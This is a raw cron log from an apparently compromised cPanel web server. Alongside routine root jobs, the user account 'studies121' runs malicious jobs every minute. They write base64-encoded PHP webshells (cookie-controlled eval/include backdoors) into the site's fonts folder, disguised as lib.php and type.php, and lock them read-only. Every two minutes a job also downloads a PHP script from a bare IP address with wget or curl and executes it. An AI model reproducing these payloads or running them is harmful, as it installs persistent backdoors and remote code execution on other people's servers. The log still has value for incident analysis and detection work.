Aug 31 07:13:01 ip-184-168-122-23 CROND[19975]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 07:13:01 ip-184-168-122-23 CROND[19976]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 07:13:01 ip-184-168-122-23 CROND[19978]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 07:14:01 ip-184-168-122-23 CROND[20072]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 07:14:01 ip-184-168-122-23 CROND[20074]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 07:14:01 ip-184-168-122-23 CROND[20076]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 07:14:01 ip-184-168-122-23 CROND[20075]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 07:14:01 ip-184-168-122-23 CROND[20078]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 07:15:01 ip-184-168-122-23 CROND[20214]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 07:15:01 ip-184-168-122-23 CROND[20216]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 07:15:01 ip-184-168-122-23 CROND[20217]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 07:15:01 ip-184-168-122-23 CROND[20218]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 07:15:01 ip-184-168-122-23 CROND[20219]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 07:15:01 ip-184-168-122-23 CROND[20220]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 07:16:01 ip-184-168-122-23 CROND[20423]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 07:16:01 ip-184-168-122-23 CROND[20426]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 07:16:01 ip-184-168-122-23 CROND[20427]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 07:16:01 ip-184-168-122-23 CROND[20429]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Aug 31 07:16:01 ip-184-168-122-23 CROND[20430]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 07:16:01 ip-184-168-122-23 CROND[20425]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 07:17:01 ip-184-168-122-23 CROND[20527]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 07:17:01 ip-184-168-122-23 CROND[20525]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 07:17:01 ip-184-168-122-23 CROND[20526]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 07:17:01 ip-184-168-122-23 CROND[20524]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 07:18:01 ip-184-168-122-23 CROND[20613]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 07:18:02 ip-184-168-122-23 CROND[20615]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 07:18:02 ip-184-168-122-23 CROND[20616]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 07:18:02 ip-184-168-122-23 CROND[20617]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 07:18:02 ip-184-168-122-23 CROND[20618]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 07:19:01 ip-184-168-122-23 CROND[20704]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 07:19:01 ip-184-168-122-23 CROND[20707]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 07:19:01 ip-184-168-122-23 CROND[20708]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 07:19:01 ip-184-168-122-23 CROND[20706]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 07:20:01 ip-184-168-122-23 CROND[20835]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 07:20:02 ip-184-168-122-23 CROND[20839]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 07:20:02 ip-184-168-122-23 CROND[20838]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 31 07:20:02 ip-184-168-122-23 CROND[20837]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 07:20:02 ip-184-168-122-23 CROND[20840]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 07:20:02 ip-184-168-122-23 CROND[20842]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 07:20:02 ip-184-168-122-23 CROND[20843]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 07:20:02 ip-184-168-122-23 CROND[20841]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 07:20:02 ip-184-168-122-23 CROND[20848]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Aug 31 07:21:01 ip-184-168-122-23 CROND[21073]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 07:21:01 ip-184-168-122-23 CROND[21075]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 07:21:01 ip-184-168-122-23 CROND[21076]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 07:21:01 ip-184-168-122-23 CROND[21077]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 07:22:01 ip-184-168-122-23 CROND[21241]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 07:22:01 ip-184-168-122-23 CROND[21243]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 07:22:01 ip-184-168-122-23 CROND[21245]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 07:22:01 ip-184-168-122-23 CROND[21246]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 07:22:01 ip-184-168-122-23 CROND[21244]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 07:23:01 ip-184-168-122-23 CROND[21337]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 07:23:01 ip-184-168-122-23 CROND[21340]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 07:23:01 ip-184-168-122-23 CROND[21339]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 07:23:01 ip-184-168-122-23 CROND[21341]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 07:24:01 ip-184-168-122-23 CROND[21437]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 07:24:01 ip-184-168-122-23 CROND[21439]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 07:24:01 ip-184-168-122-23 CROND[21440]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 07:24:01 ip-184-168-122-23 CROND[21441]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 07:24:01 ip-184-168-122-23 CROND[21442]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 07:25:02 ip-184-168-122-23 CROND[21549]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 07:25:02 ip-184-168-122-23 CROND[21551]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
